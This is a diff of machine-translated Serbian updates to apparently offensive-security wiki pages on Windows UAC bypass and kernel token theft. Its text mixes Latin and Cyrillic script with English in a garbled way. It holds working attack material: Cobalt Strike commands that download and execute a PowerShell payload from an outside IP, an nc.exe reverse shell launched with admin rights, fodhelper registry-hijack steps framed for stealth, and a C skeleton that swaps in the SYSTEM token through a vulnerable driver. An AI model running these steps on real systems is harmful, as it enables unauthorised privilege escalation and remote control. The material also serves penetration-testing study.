+| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | Disabled                                                     |
+| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Disabled                                                     |
+| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Prompt for consent for non-Windows binaries                  |
+| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Prompt for credentials on the secure desktop                 |
+| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Enabled (default for home) Disabled (default for enterprise) |
+| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Disabled                                                     |
+| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Enabled                                                      |
+| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Enabled                                                      |
+| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Enabled                                                      |
+| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Enabled                                                      |
 
 ### UAC Bypass Theory
 
-Neki programi se automatski podižu na viši nivo privilegija ("autoelevated") ako korisnik pripada administratorskoj grupi. Ti binarni fajlovi u svom _**Manifests**_ sadrže opciju _**autoElevate**_ sa vrednošću _**True**_. Binarni fajl takođe mora biti **potpisan od strane Microsoft-a**.
+Neki programi su **autoelevated automatically** ако **корисник припада** **administrator групи**. Ови бинари у свом _**Manifest**_ имају опцију _**autoElevate**_ са вредношћу _**True**_. Бинар такође мора бити **потписан од стране Microsoft-a**.
 
-Mnogi auto-elevate procesi izlažu **funkcionalnost preko COM objekata ili RPC servera**, koji se mogu pozvati iz procesa koji rade sa medium integritetom (privilegije običnog korisnika). Napomena: COM (Component Object Model) i RPC (Remote Procedure Call) su metode koje Windows programi koriste za komunikaciju i izvršavanje funkcija između različitih procesa. Na primer, **`IFileOperation COM object`** je dizajniran za rukovanje operacijama nad fajlovima (kopiranje, brisanje, pomeranje) i može automatski podići privilegije bez prikaza upita.
+Многи auto-elevate процеси излажу функционалност преко COM објеката или RPC сервера, које могу да позову процеси који раде са medium integrity (нивоом редовног корисника). Имајте у виду да су COM (Component Object Model) и RPC (Remote Procedure Call) методе које Windows програми користе за комуникацију и извршавање функција између различитих процеса. На пример, **`IFileOperation COM object`** је дизајниран за руковање операцијама над фајловима (копирање, брисање, померање) и може аутоматски да подигне привилегије без приказивања упита.
 
-Takođe, neke provere mogu biti izvršene, na primer proveravanje da li je proces pokrenut iz **System32 directory**, što se može zaobići, na primer, **injecting into explorer.exe** ili druge izvršne datoteke locirane u System32.
+Понекад се извршавају провере, као проверa да ли је процес покренут из **System32 directory**, што се може заобићи, на пример, **injecting into explorer.exe** или у други извршни фајл лоциран у System32.
 
-Drugi način za zaobilaženje ovih provera je izmena **PEB**. Svaki proces u Windows-u ima Process Environment Block (PEB), koji uključuje važne podatke o procesu, kao što je putanja do izvršne datoteke. Izmenom PEB-a, napadači mogu falsifikovati (spoofovati) lokaciju svog malicioznog procesa, čineći da izgleda kao da se pokreće iz pouzdanog direktorijuma (npr. system32). Ove lažne informacije prevare COM objekat da automatski podigne privilegije bez prikazivanja upita korisniku.
+Други начин да се заобиђу ове провере је модификација PEB-а. Свaki процес у Windows-у има Process Environment Block (PEB), који садржи важне податке о процесу, као што је путања до извршног фајла. Модификацијом PEB-а, нападачи могу фалсификовати (spoofovati) локацију свог злонамерног процеса, чинећи да изгледа да се покреће из поузданог директоријума (као што је system32). Ове лажне информације збуњују COM објекат и доводе до аутоматског подизања привилегија без упита корисника.
 
-Zatim, da bi **zaobišli** **UAC** (podižući sa **medium** nivoa integriteta **na high**), neki napadači koriste ovakve binarne fajlove da bi **izvršili proizvoljan kod**, jer će on biti izvršen iz procesa sa **High** nivoom integriteta.
+Да би се **bypass-овао** **UAC** (повећање са **medium** integrity нивоa **на high**), неки нападачи користе ове бинаре да **изврше произвољни код**, јер ће бити извршени из процеса са High level integrity.
 
-Možete proveriti _**Manifest**_ binarnog fajla koristeći alat _**sigcheck.exe**_ iz Sysinternals. (`sigcheck.exe -m <file>`) I možete videti **nivo integriteta** procesa koristeći _Process Explorer_ ili _Process Monitor_ (iz Sysinternals).
+Možete **proveriti** _**Manifest**_ бинарног фајла користећи алат _**sigcheck.exe**_ из Sysinternals. (`sigcheck.exe -m <file>`) И можете видети `integrity` ниво процеса користећи _Process Explorer_ или _Process Monitor_ (из Sysinternals).
 
 ### Check UAC
 
-Da biste potvrdili da li je UAC omogućen uradite:
+Да потврдите да ли је UAC омогућен урадите:
 ```
 REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
 
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 EnableLUA    REG_DWORD    0x1
 ```
-Ako je **`1`** onda je UAC **aktiviran**, ako je **`0`** ili ne postoji, UAC je **neaktivan**.
+Ako je **`1`** onda je UAC **omogućen**, ako je **`0`** ili ne postoji, onda je UAC **onemogućen**.
 
 Zatim proverite **koji nivo** je konfigurisan:
 ```
@@ -62,29 +62,29 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 ```
-- If **`0`** then, UAC won't prompt (like **disabled**)  
-- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)  
-- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)  
-- If **`3`** like `1` but not necessary on Secure Desktop  
-- If **`4`** like `2` but not necessary on Secure Desktop  
-- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
+- Ako je **`0`**, UAC neće tražiti potvrdu (kao da je **onemogućeno**)
+- Ako je **`1`**, administratoru se traži **korisničko ime i lozinka** da izvrši binarni fajl sa visokim privilegijama (na Secure Desktop)
+- Ako je **`2`** (**Uvek me obaveštavaj**) UAC će uvek tražiti potvrdu od administratora kada pokuša da izvrši nešto sa visokim privilegijama (na Secure Desktop)
+- Ako je **`3`**, slično kao `1` ali nije neophodno na Secure Desktop
+- Ako je **`4`**, slično kao `2` ali nije neophodno na Secure Desktop
+- Ako je **`5`** (**default**), tražiće od administratora potvrdu da pokrene ne-Windows binarne fajlove sa visokim privilegijama
 
 Zatim, treba da pogledate vrednost **`LocalAccountTokenFilterPolicy`**\
-Ako je vrednost **`0`**, onda samo korisnik **RID 500** (**built-in Administrator**) može da izvršava **admin zadatke bez UAC**, a ako je `1`, **svi nalozi u grupi "Administrators"** mogu to da rade.
+Ako je vrednost **`0`**, onda samo korisnik **RID 500** (**built-in Administrator**) može da izvršava **admin zadatke bez UAC**, a ako je **`1`**, **svi nalozi u grupi "Administrators"** mogu to da rade.
 
-I, na kraju, pogledajte vrednost ključa **`FilterAdministratorToken`**\
-Ako je **`0`** (default), **built-in Administrator account može** da obavlja zadatke udaljene administracije, a ako je **`1`** built-in Administrator nalog **ne može** da obavlja udaljenu administraciju, osim ako `LocalAccountTokenFilterPolicy` nije postavljen na `1`.
+I na kraju, pogledajte vrednost ključa **`FilterAdministratorToken`**\
+Ako je **`0`** (podrazumevano), **built-in Administrator** nalog može da obavlja daljinske administratorske zadatke, a ako je **`1`**, built-in Administrator **ne može** da obavlja daljinske administratorske zadatke, osim ako `LocalAccountTokenFilterPolicy` nije postavljen na `1`.
 
-#### Sažetak
+#### Rezime
 
-- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**  
-- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**  
-- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**  
-- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
+- Ako `EnableLUA=0` ili **ne postoji**, **nema UAC za nikoga**
+- Ako `EnableLua=1` i **`LocalAccountTokenFilterPolicy=1`**, nema UAC za nikoga
+- Ako `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=0`**, nema UAC za RID 500 (Built-in Administrator)
+- Ako `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=1`**, UAC za sve
 
-All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
+Sve ove informacije se mogu prikupiti korišćenjem **metasploit** modula: `post/windows/gather/win_privs`
 
-You can also check the groups of your user and get the integrity level:
+Takođe možete proveriti grupe vašeg korisnika i dobiti nivo integriteta:
 ```
 net user %username%
 whoami /groups | findstr Level
@@ -92,15 +92,15 @@ whoami /groups | findstr Level
 ## UAC bypass
 
 > [!TIP]
-> Imajte na umu da ako imate grafički pristup žrtvi, UAC bypass je jednostavan jer možete jednostavno kliknuti na "Da" kada se pojavi UAC prompt
+> Imajte na umu da ako imate grafički pristup žrtvi, UAC bypass je jednostavan jer možete jednostavno kliknuti na "Yes" kada se pojavi UAC prompt
 
-The UAC bypass is needed in the following situation: **UAC je aktiviran, vaš proces radi u kontekstu srednjeg nivoa integriteta, i vaš nalog pripada grupi administratora**.
+UAC bypass je potreban u sledećoj situaciji: **UAC je aktiviran, vaš proces radi u medium integrity context, i vaš korisnik pripada Administrators group**.
 
-Važno je napomenuti da je **mnogo teže zaobići UAC ako je na najvišem nivou bezbednosti (Always) nego ako je na nekom od ostalih nivoa (Default).**
+Važno je napomenuti da je **mnogo teže zaobići UAC ako je na najvišem nivou bezbednosti (Always) nego ako je na nekom od drugih nivoa (Default).**
 
-### UAC disabled
+### UAC onemogućen
 
-If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like:
+Ako je UAC već onemogućen (`ConsentPromptBehaviorAdmin` je **`0`**) možete izvršiti reverse shell sa administratorskim privilegijama (high integrity level) koristeći nešto poput:
 ```bash
 #Put your reverse shell instead of "calc.exe"
 Start-Process powershell -Verb runAs "calc.exe"
@@ -111,9 +111,9 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
 - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
 - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
 
-### **Vrlo** osnovni UAC "bypass" (potpun pristup fajl sistemu)
+### **Veoma** osnovni UAC "bypass" (puni pristup fajl sistemu)
 
-Ako imate shell sa korisnikom koji je u grupi Administrators, možete **mount-ovati C$ share preko SMB-a** lokalno kao novi disk i imaćete **pristup svemu u fajl sistemu** (čak i Administratorovom korisničkom direktorijumu).
+Ako imate shell sa korisnikom koji je član Administrators group, možete **mount the C$** deljeni resurs preko SMB (file system) lokalno kao novo diskovno slovo i imaćete **pristup svemu unutar fajl sistema** (čak i Administrator home folder).
 
 > [!WARNING]
 > **Izgleda da ovaj trik više ne radi**
@@ -126,7 +126,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop
 ```
 ### UAC bypass sa cobalt strike
 
-Tehnike Cobalt Strike rade samo ako UAC nije podešen na maksimalni nivo bezbednosti.
+Tehnike cobalt strike će raditi samo ako UAC nije podešen na maksimalni nivo bezbednosti.
 ```bash
 # UAC bypass via token duplication
 elevate uac-token-duplication [listener_name]
@@ -138,7 +138,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
 # Bypass UAC with CMSTPLUA COM interface
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 ```
-**Empire** i **Metasploit** takođe imaju nekoliko modula za **bypass** **UAC**.
+**Empire** and **Metasploit** takođe imaju nekoliko modula za **bypass** **UAC**.
 
 ### KRBUACBypass
 
@@ -146,10 +146,10 @@ Dokumentacija i alat na [https://github.com/wh0amitz/KRBUACBypass](https://githu
 
 ### UAC bypass exploits
 
-[**UACME** ](https://github.com/hfiref0x/UACME) koji je **kompilacija** nekoliko UAC bypass exploits. Imajte na umu da ćete morati **kompajlirati UACME koristeći visual studio ili msbuild**. Kompilacija će kreirati nekoliko izvršnih fajlova (npr. `Source\Akagi\outout\x64\Debug\Akagi.exe`), moraćete da znate **koji vam je potreban.**\
-Trebalo bi da budete **pažljivi** jer će neki bypass-i **pokrenuti neke druge programe** koji će **obavestiti** **korisnika** da se nešto dešava.
+[**UACME** ](https://github.com/hfiref0x/UACME) koji je **kompilacija** nekoliko UAC bypass exploits. Imajte na umu da ćete morati **kompajlirati UACME koristeći visual studio ili msbuild**. Kompilacija će napraviti nekoliko izvršnih fajlova (npr. `Source\Akagi\outout\x64\Debug\Akagi.exe`), moraćete da znate **koji vam treba.**\
+Treba da budete **oprezni** jer će neki bypasses **pokrenuti neke druge programe** koji će **obavestiti** **korisnika** da se nešto dešava.
 
-UACME sadrži **build verziju od koje je svaka tehnika počela da radi**. Možete pretražiti tehniku koja utiče na vaše verzije:
+UACME ima **build verziju od koje je svaka tehnika počela da radi**. Možete pretražiti tehniku koja utiče na vaše verzije:
 ```
 PS C:\> [environment]::OSVersion.Version
 
@@ -157,17 +157,17 @@ Major  Minor  Build  Revision
 -----  -----  -----  --------
 10     0      14393  0
 ```
-Takođe, koristeći [this](https://en.wikipedia.org/wiki/Windows_10_version_history) stranicu dobijate Windows izdanje `1607` iz verzija build-a.
+Takođe, koristeći [this](https://en.wikipedia.org/wiki/Windows_10_version_history) stranicu dobijate Windows izdanje `1607` iz build verzija.
 
 ### UAC Bypass – fodhelper.exe (Registry hijack)
 
-Pouzdani binarni fajl `fodhelper.exe` se automatski povišava na modernim Windows sistemima. Kada se pokrene, upituje per-user registry putanju ispod bez validacije `DelegateExecute` verbe. Postavljanje komande tamo omogućava procesu sa Medium Integrity (korisnik je u Administrators) da pokrene proces sa High Integrity bez UAC prompta.
+Pouzdani binarni fajl `fodhelper.exe` se automatski dobija povišene privilegije na modernim Windows sistemima. Kada se pokrene, proverava per-user registry put naveden ispod bez validacije `DelegateExecute` verbe. Postavljanje komande tamo omogućava procesu sa Medium Integrity (korisnik je u Administrators) da pokrene proces sa High Integrity bez UAC prompta.
 
-Registry path queried by fodhelper:
+Registry put koji fodhelper proverava:
 ```
 HKCU\Software\Classes\ms-settings\Shell\Open\command
 ```
-PowerShell koraci (postavite svoj payload, zatim pokrenite):
+PowerShell koraci (postavite svoj payload, zatim ga pokrenite):
 ```powershell
 # Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
 C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
@@ -186,45 +186,45 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
 # 4) (Recommended) Cleanup
 Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
 ```
-Beleške:
-- Radi kada je trenutni korisnik član grupe Administrators i UAC nivo je podrazumevan/opušten (ne Always Notify sa dodatnim ograničenjima).
-- Koristite putanju `sysnative` da pokrenete 64-bit PowerShell iz 32-bit procesa na 64-bit Windowsu.
-- Payload može biti bilo koja komanda (PowerShell, cmd, or an EXE path). Izbegavajte UI koji zahtevaju potvrdu radi prikrivenosti.
+Napomene:
+- Radi kada je trenutni korisnik član Administrators i nivo UAC je podrazumevan/olabavljen (nije Always Notify sa dodatnim ograničenjima).
+- Koristite putanju `sysnative` da pokrenete 64-bitni PowerShell iz 32-bitnog procesa na 64-bitnom Windowsu.
+- Payload može biti bilo koja komanda (PowerShell, cmd, ili putanja do EXE). Izbegavajte UI prozore koji zahtevaju unos radi prikrivanja.
 
-#### More UAC bypass
+#### Više UAC bypass
 
-**All** the techniques used here to bypass UAC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
+**Sve** tehnike korišćene ovde za bypass AUC **zahtevaju** a **full interactive shell** sa žrtvom (običan nc.exe shell nije dovoljan).
 
 You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
 
 ![](<../../images/image (863).png>)
 
-(_explorer.exe_ bi trebalo da radi)
+(_explorer.exe_ treba da radi)
 
-### UAC Bypass with GUI
+### UAC Bypass sa GUI
 
-Ako imate pristup **GUI, jednostavno možete prihvatiti UAC prompt** kada se pojavi — zaista vam tada nije potreban bypass. Dakle, dobijanje pristupa GUI omogućava zaobilaženje UAC.
+Ako imate pristup **GUI možete jednostavno prihvatiti UAC prompt** kada se pojavi, zapravo vam ne treba bypass. Dakle, dobijanje pristupa GUI će vam omogućiti bypass UAC.
 
-Štaviše, ako dobijete GUI sesiju koju je neko koristio (potencijalno preko RDP), postoje **neki alati koji će se pokretati kao administrator** iz kojih biste, na primer, mogli **pokrenuti** **cmd** **as admin** direktno bez ponovnog UAC prompta, kao [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Ovo može biti malo **stealthy**.
+Pored toga, ako dobijete GUI sesiju koju je neko koristio (potencijalno preko RDP) postoje **neki alati koji će se pokretati kao administrator** iz kojih biste mogli, na primer, **pokrenuti** **cmd** **as admin** direktno bez ponovnog UAC prompta, kao [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Ovo može biti malo više **stealthy**.
 
 ### Noisy brute-force UAC bypass
 
-Ako vam ne smeta buka, uvek možete **pokrenuti nešto kao** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) koje **traži elevaciju privilegija sve dok korisnik to ne prihvati**.
+Ako vam nije stalo do buke, uvek možete **pokrenuti nešto poput** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) što će **tražiti podizanje privilegija dok korisnik ne prihvati**.
 
-### Your own bypass - Basic UAC bypass methodology
+### Vaš vlastiti bypass - Basic UAC bypass methodology
 
-Ako pogledate **UACME** primetićete da **većina UAC bypass-ova zloupotrebljava Dll Hijacking vulnerabilit**y (uglavnom upisujući maliciozni dll u _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
+If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
 
-1. Pronađite binarni fajl koji će **autoelevate** (proverite da pri izvršenju radi u visokom integritetskom nivou).
-2. Pomoću procmon pronađite događaje "**NAME NOT FOUND**" koji mogu biti ranjivi na **DLL Hijacking**.
-3. Verovatno ćete morati da **upisete** DLL u neke **zaštićene putanje** (kao C:\Windows\System32) gde nemate dozvolu za pisanje. Ovo možete zaobići koristeći:
-   1. **wusa.exe**: Windows 7, 8 i 8.1. Omogućava ekstrakciju sadržaja CAB fajla u zaštićene putanje (jer se ovaj alat izvršava u visokom integritetskom nivou).
-   2. **IFileOperation**: Windows 10.
-4. Pripremite **script** koji će kopirati vaš DLL u zaštićenu putanju i pokrenuti ranjivi i autoelevated binarni fajl.
+1. Pronađite binarni fajl koji će **autoelevate** (proverite da li se pri izvršenju pokreće na visokom integritetu).
+2. Pomoću procmon pronađite "**NAME NOT FOUND**" događaje koji mogu biti ranjivi na **DLL Hijacking**.
+3. Verovatno ćete morati da **write** DLL unutar nekih **protected paths** (kao C:\Windows\System32) gde nemate dozvolu za pisanje. Ovo možete zaobići koristeći:
+1. **wusa.exe**: Windows 7,8 and 8.1. Omogućava da se izdvoji sadržaj CAB fajla unutar protected paths (jer se ovaj alat izvršava iz high integrity level).
+2. **IFileOperation**: Windows 10.
+4. Pripremite **script** da kopirate vaš DLL u zaštićenu putanju i izvršite ranjiv i autoelevated binarni fajl.
 
 ### Another UAC bypass technique
 
-Sastoji se u proveri da li neki **autoElevated binary** pokušava da **read** iz **registry** **name/path** nekog **binary** ili **command** koji će biti **executed** (ovo je interesantnije ako binary traži ovu informaciju u okviru **HKCU**).
+Sastoji se u praćenju da li neki **autoElevated binary** pokušava da **read** iz **registry** ime/putanju nekog **binary** ili **command** koji će biti **executed** (ovo je interesantnije ako binary traži ovu informaciju unutar **HKCU**).
 
 ## References
 - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md

@@ -4,35 +4,35 @@
 
 ## Pregled
 
-Ako ranjivi driver izlaže IOCTL koji napadaču daje proizvoljne kernel read i/ili write primitivе, elevacija na NT AUTHORITY\SYSTEM se često može postići krađom SYSTEM access tokena. Tehnika kopira Token pokazivač iz SYSTEM procesa’ EPROCESS u trenutni proces’ EPROCESS.
+Ako ranjivi driver izlaže IOCTL koji omogućava napadaču arbitrary kernel read i/ili write primitive, elevacija na NT AUTHORITY\SYSTEM se često može postići krađom SYSTEM access token-a. Tehnika kopira Token pointer iz EPROCESS SYSTEM procesa u trenutni proces’ EPROCESS.
 
 Zašto radi:
-- Svaki process ima EPROCESS strukturu koja sadrži (između ostalog) Token (zapravo EX_FAST_REF ka token objektu).
-- SYSTEM proces (PID 4) drži token sa svim privilegijama uključenim.
-- Zamena trenutnog process’ EPROCESS.Token sa SYSTEM token pokazivačem odmah čini da trenutni proces radi kao SYSTEM.
+- Svaki proces ima EPROCESS strukturu koja sadrži (između ostalog) Token (zapravo EX_FAST_REF ka token objektu).
+- SYSTEM proces (PID 4) poseduje token sa svim omogućenim privilegijama.
+- Zamenom trenutnog procesa’ EPROCESS.Token sa SYSTEM token pointer-om, trenutni proces odmah radi kao SYSTEM.
 
-> Offsets u EPROCESS variraju između verzija Windowsa. Odredite ih dinamički (symbols) ili koristite constants specifične za verziju. Takođe zapamtite da je EPROCESS.Token EX_FAST_REF (donja 3 bita su flagovi za reference count).
+Napomena: Offsets u EPROCESS se razlikuju između verzija Windows-a. Odredite ih dinamički (symbols) ili koristite konstante specifične za verziju. Takođe zapamtite da je EPROCESS.Token EX_FAST_REF (donja 3 bita služe kao flagovi broja referenci).
 
-## Koraci na visokom nivou
+## Glavni koraci
 
-1) Pronađite ntoskrnl.exe base i rešite adresu PsInitialSystemProcess.
-- Iz user mode-a, koristite NtQuerySystemInformation(SystemModuleInformation) ili EnumDeviceDrivers da dobijete učitane driver baze.
+1) Locirajte ntoskrnl.exe base i rešite adresu PsInitialSystemProcess.
+- Iz user mode-a koristite NtQuerySystemInformation(SystemModuleInformation) ili EnumDeviceDrivers da dobijete baze učitanih drivere-a.
 - Dodajte offset PsInitialSystemProcess (iz symbols/reversing) na kernel base da biste dobili njegovu adresu.
-2) Pročitajte pokazivač na PsInitialSystemProcess → ovo je kernel pokazivač na SYSTEM-ov EPROCESS.
-3) Iz SYSTEM EPROCESS-a, pročitajte UniqueProcessId i ActiveProcessLinks offset-e da biste prešli dvostruko povezanu listu EPROCESS struktura (ActiveProcessLinks.Flink/Blink) dok ne nađete EPROCESS čiji je UniqueProcessId jednak GetCurrentProcessId(). Sačuvajte oba:
+2) Pročitajte pointer na PsInitialSystemProcess → ovo je kernel pointer na SYSTEM-ov EPROCESS.
+3) Iz SYSTEM EPROCESS-a, pročitajte offset-e UniqueProcessId i ActiveProcessLinks da biste prošli kroz dvostruko povezanu listu EPROCESS struktura (ActiveProcessLinks.Flink/Blink) dok ne nađete EPROCESS čiji je UniqueProcessId jednak GetCurrentProcessId(). Sačuvajte oba:
 - EPROCESS_SYSTEM (za SYSTEM)
 - EPROCESS_SELF (za trenutni proces)
-4) Pročitajte SYSTEM token vrednost: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
-- Maskirajte donja 3 bita: Token_SYS_masked = Token_SYS & ~0xF (obično ~0xF ili ~0x7 u zavisnosti od build-a; na x64 donja 3 bita se koriste — 0xFFFFFFFFFFFFFFF8 maska).
-5) Opcija A (uobičajeno): Sačuvajte donja 3 bita iz vašeg trenutnog tokena i spojite ih na SYSTEM-ov pokazivač da biste održali ugrađeni ref count konzistentnim.
+4) Pročitajte vrednost SYSTEM token-a: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
+- Maskirajte donja 3 bita: Token_SYS_masked = Token_SYS & ~0xF (obično ~0xF ili ~0x7 u zavisnosti od build-a; na x64 donja 3 bita se koriste — maska 0xFFFFFFFFFFFFFFF8).
+5) Option A (uobičajeno): Sačuvajte donja 3 bita iz vašeg trenutnog token-a i spojite ih na SYSTEM-ov pointer kako biste zadržali konzistentan embedded ref count.
 - Token_ME = *(EPROCESS_SELF + TokenOffset)
 - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
-6) Zapišite Token_NEW nazad u (EPROCESS_SELF + TokenOffset) koristeći vaš kernel write primitiv.
-7) Vaš trenutni proces je sada SYSTEM. Po želji pokrenite novi cmd.exe ili powershell.exe da potvrdite.
+6) Upíšite Token_NEW nazad u (EPROCESS_SELF + TokenOffset) koristeći vaš kernel write primitive.
+7) Vaš trenutni proces je sada SYSTEM. Opcionalno pokrenite novi cmd.exe ili powershell.exe da potvrdite.
 
 ## Pseudokod
 
-Ispod je kostur koji koristi samo dva IOCTL-a iz ranjivog driver-a, jedan za 8-byte kernel read i jedan za 8-byte kernel write. Zamenite sa interfejsom vašeg drajvera.
+Ispod je skelet koji koristi samo dva IOCTL-a iz ranjivog driver-a, jedan za 8-byte kernel read i jedan za 8-byte kernel write. Zamenite sa interfejsom vašeg driver-a.
 ```c
 #include <Windows.h>
 #include <Psapi.h>
@@ -106,14 +106,14 @@ return 0;
 }
 ```
 Napomene:
-- Offseti: Koristite WinDbg’s `dt nt!_EPROCESS` sa ciljanim PDB-ovima, ili runtime symbol loader-om, da biste dobili ispravne offset-e. Nemojte ih slepo hardkodovati.
-- Maska: Na x64 token je EX_FAST_REF; najniža 3 bita su bita za referentni brojač. Zadržavanje originalnih niskih bitova iz vašeg tokena izbegava neposredne refcount neusaglašenosti.
-- Stabilnost: Poželjno je elevirati trenutni proces; ako elevirate kratkotrajnog helper-a, možete izgubiti SYSTEM kada on izađe.
+- Offseti: Koristite WinDbg’s `dt nt!_EPROCESS` sa ciljnim PDB-ovima, ili runtime symbol loader-om, da dobijete tačne offsete. Nemojte ih slepo hardkodovati.
+- Maska: Na x64 token je EX_FAST_REF; donja 3 bita su bitovi broja referenci. Zadržavanje originalnih donjih bitova iz vašeg token-a izbegava trenutne refcount neusklađenosti.
+- Stabilnost: Poželjno je podići privilegije trenutnog procesa; ako podignete privilegije kratkotrajnog pomoćnog procesa, možete izgubiti SYSTEM kada se on zatvori.
 
-## Otkrivanje i ublažavanje
-- Učitavanje unsigned ili nepouzdanih third‑party drajvera koji otkrivaju moćne IOCTLs je osnovni uzrok.
-- Kernel Driver Blocklist (HVCI/CI), DeviceGuard i pravila Attack Surface Reduction mogu sprečiti učitavanje ranjivih drajvera.
-- EDR može pratiti sumnjive IOCTL sekvence koje implementiraju arbitrary read/write i zamene tokena.
+## Detekcija & mitigacija
+- Učitavanje nepodpisanih ili nepoverljivih third‑party drajvera koji izlažu moćne IOCTLs je osnovni uzrok.
+- Kernel Driver Blocklist (HVCI/CI), DeviceGuard i Attack Surface Reduction pravila mogu sprečiti učitavanje ranjivih drajvera.
+- EDR može pratiti sumnjive IOCTL sekvence koje implementiraju arbitrary read/write i token swaps.
 
 ## References
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)

